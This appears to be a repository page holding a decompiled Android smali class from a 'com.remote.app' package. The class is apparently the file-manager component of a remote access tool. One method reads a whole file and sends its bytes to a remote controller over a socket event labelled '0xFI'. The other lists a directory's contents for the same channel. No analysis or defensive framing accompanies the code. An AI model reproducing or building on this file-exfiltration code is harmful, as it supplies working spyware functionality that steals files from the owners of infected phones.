286 lines
7.0 KiB
Smali
286 lines
7.0 KiB
Smali
.class public Lcom/remote/app/g;
|
|
.super Ljava/lang/Object;
|
|
.source ""
|
|
|
|
|
|
# direct methods
|
|
.method public constructor <init>()V
|
|
.locals 0
|
|
|
|
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
|
|
|
return-void
|
|
.end method
|
|
|
|
.method public static a(Ljava/lang/String;)V
|
|
.locals 6
|
|
|
|
if-nez p0, :cond_0
|
|
|
|
return-void
|
|
|
|
:cond_0
|
|
new-instance v0, Ljava/io/File;
|
|
|
|
invoke-direct {v0, p0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
|
|
|
|
invoke-virtual {v0}, Ljava/io/File;->exists()Z
|
|
|
|
move-result p0
|
|
|
|
if-eqz p0, :cond_1
|
|
|
|
invoke-virtual {v0}, Ljava/io/File;->length()J
|
|
|
|
move-result-wide v1
|
|
|
|
long-to-int p0, v1
|
|
|
|
new-array p0, p0, [B
|
|
|
|
:try_start_0
|
|
new-instance v1, Ljava/io/BufferedInputStream;
|
|
|
|
new-instance v2, Ljava/io/FileInputStream;
|
|
|
|
invoke-direct {v2, v0}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
|
|
|
|
invoke-direct {v1, v2}, Ljava/io/BufferedInputStream;-><init>(Ljava/io/InputStream;)V
|
|
|
|
array-length v2, p0
|
|
|
|
const/4 v3, 0x0
|
|
|
|
invoke-virtual {v1, p0, v3, v2}, Ljava/io/BufferedInputStream;->read([BII)I
|
|
|
|
new-instance v2, Lorg/json/JSONObject;
|
|
|
|
invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
|
|
|
|
const-string v4, "type"
|
|
|
|
const-string v5, "download"
|
|
|
|
invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
|
|
|
|
const-string v4, "name"
|
|
|
|
invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
|
|
|
|
move-result-object v0
|
|
|
|
invoke-virtual {v2, v4, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
|
|
|
|
const-string v0, "buffer"
|
|
|
|
invoke-virtual {v2, v0, p0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
|
|
|
|
invoke-static {}, Lcom/remote/app/h;->a()Lcom/remote/app/h;
|
|
|
|
move-result-object p0
|
|
|
|
invoke-virtual {p0}, Lcom/remote/app/h;->b()Lb/a/b/I;
|
|
|
|
move-result-object p0
|
|
|
|
const-string v0, "0xFI"
|
|
|
|
const/4 v4, 0x1
|
|
|
|
new-array v4, v4, [Ljava/lang/Object;
|
|
|
|
aput-object v2, v4, v3
|
|
|
|
invoke-virtual {p0, v0, v4}, Lb/a/b/I;->a(Ljava/lang/String;[Ljava/lang/Object;)Lb/a/c/a;
|
|
|
|
invoke-virtual {v1}, Ljava/io/BufferedInputStream;->close()V
|
|
:try_end_0
|
|
.catch Ljava/io/FileNotFoundException; {:try_start_0 .. :try_end_0} :catch_2
|
|
.catch Ljava/io/IOException; {:try_start_0 .. :try_end_0} :catch_1
|
|
.catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
|
|
|
|
goto :goto_0
|
|
|
|
:catch_0
|
|
move-exception p0
|
|
|
|
invoke-virtual {p0}, Lorg/json/JSONException;->printStackTrace()V
|
|
|
|
goto :goto_0
|
|
|
|
:catch_1
|
|
move-exception p0
|
|
|
|
invoke-virtual {p0}, Ljava/io/IOException;->printStackTrace()V
|
|
|
|
goto :goto_0
|
|
|
|
:catch_2
|
|
move-exception p0
|
|
|
|
invoke-virtual {p0}, Ljava/io/FileNotFoundException;->printStackTrace()V
|
|
|
|
:cond_1
|
|
:goto_0
|
|
return-void
|
|
.end method
|
|
|
|
.method public static b(Ljava/lang/String;)Lorg/json/JSONArray;
|
|
.locals 10
|
|
|
|
const-string v0, "path"
|
|
|
|
const-string v1, "isDir"
|
|
|
|
const-string v2, "error"
|
|
|
|
const-string v3, "name"
|
|
|
|
new-instance v4, Lorg/json/JSONArray;
|
|
|
|
invoke-direct {v4}, Lorg/json/JSONArray;-><init>()V
|
|
|
|
new-instance v5, Ljava/io/File;
|
|
|
|
invoke-direct {v5, p0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
|
|
|
|
invoke-virtual {v5}, Ljava/io/File;->canRead()Z
|
|
|
|
move-result p0
|
|
|
|
const/4 v6, 0x0
|
|
|
|
const/4 v7, 0x1
|
|
|
|
if-nez p0, :cond_0
|
|
|
|
const-string p0, "cannot"
|
|
|
|
const-string v8, "inaccessible"
|
|
|
|
invoke-static {p0, v8}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
|
|
|
:try_start_0
|
|
new-instance p0, Lorg/json/JSONObject;
|
|
|
|
invoke-direct {p0}, Lorg/json/JSONObject;-><init>()V
|
|
|
|
const-string v8, "type"
|
|
|
|
invoke-virtual {p0, v8, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
|
|
|
|
const-string v8, "Denied"
|
|
|
|
invoke-virtual {p0, v2, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
|
|
|
|
invoke-static {}, Lcom/remote/app/h;->a()Lcom/remote/app/h;
|
|
|
|
move-result-object v2
|
|
|
|
invoke-virtual {v2}, Lcom/remote/app/h;->b()Lb/a/b/I;
|
|
|
|
move-result-object v2
|
|
|
|
const-string v8, "0xFI"
|
|
|
|
new-array v9, v7, [Ljava/lang/Object;
|
|
|
|
aput-object p0, v9, v6
|
|
|
|
invoke-virtual {v2, v8, v9}, Lb/a/b/I;->a(Ljava/lang/String;[Ljava/lang/Object;)Lb/a/c/a;
|
|
:try_end_0
|
|
.catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
|
|
|
|
goto :goto_0
|
|
|
|
:catch_0
|
|
move-exception p0
|
|
|
|
invoke-virtual {p0}, Lorg/json/JSONException;->printStackTrace()V
|
|
|
|
:cond_0
|
|
:goto_0
|
|
invoke-virtual {v5}, Ljava/io/File;->listFiles()[Ljava/io/File;
|
|
|
|
move-result-object p0
|
|
|
|
if-eqz p0, :cond_2
|
|
|
|
:try_start_1
|
|
new-instance v2, Lorg/json/JSONObject;
|
|
|
|
invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
|
|
|
|
const-string v8, "../"
|
|
|
|
invoke-virtual {v2, v3, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
|
|
|
|
invoke-virtual {v2, v1, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
|
|
|
|
invoke-virtual {v5}, Ljava/io/File;->getParent()Ljava/lang/String;
|
|
|
|
move-result-object v5
|
|
|
|
invoke-virtual {v2, v0, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
|
|
|
|
invoke-virtual {v4, v2}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
|
|
|
|
array-length v2, p0
|
|
|
|
:goto_1
|
|
if-ge v6, v2, :cond_2
|
|
|
|
aget-object v5, p0, v6
|
|
|
|
invoke-virtual {v5}, Ljava/io/File;->getName()Ljava/lang/String;
|
|
|
|
move-result-object v7
|
|
|
|
const-string v8, "."
|
|
|
|
invoke-virtual {v7, v8}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
|
|
|
|
move-result v7
|
|
|
|
if-nez v7, :cond_1
|
|
|
|
new-instance v7, Lorg/json/JSONObject;
|
|
|
|
invoke-direct {v7}, Lorg/json/JSONObject;-><init>()V
|
|
|
|
invoke-virtual {v5}, Ljava/io/File;->getName()Ljava/lang/String;
|
|
|
|
move-result-object v8
|
|
|
|
invoke-virtual {v7, v3, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
|
|
|
|
invoke-virtual {v5}, Ljava/io/File;->isDirectory()Z
|
|
|
|
move-result v8
|
|
|
|
invoke-virtual {v7, v1, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
|
|
|
|
invoke-virtual {v5}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
|
|
|
|
move-result-object v5
|
|
|
|
invoke-virtual {v7, v0, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
|
|
|
|
invoke-virtual {v4, v7}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
|
|
:try_end_1
|
|
.catch Lorg/json/JSONException; {:try_start_1 .. :try_end_1} :catch_1
|
|
|
|
:cond_1
|
|
add-int/lit8 v6, v6, 0x1
|
|
|
|
goto :goto_1
|
|
|
|
:catch_1
|
|
move-exception p0
|
|
|
|
invoke-virtual {p0}, Lorg/json/JSONException;->printStackTrace()V
|
|
|
|
:cond_2
|
|
return-object v4
|
|
.end method
|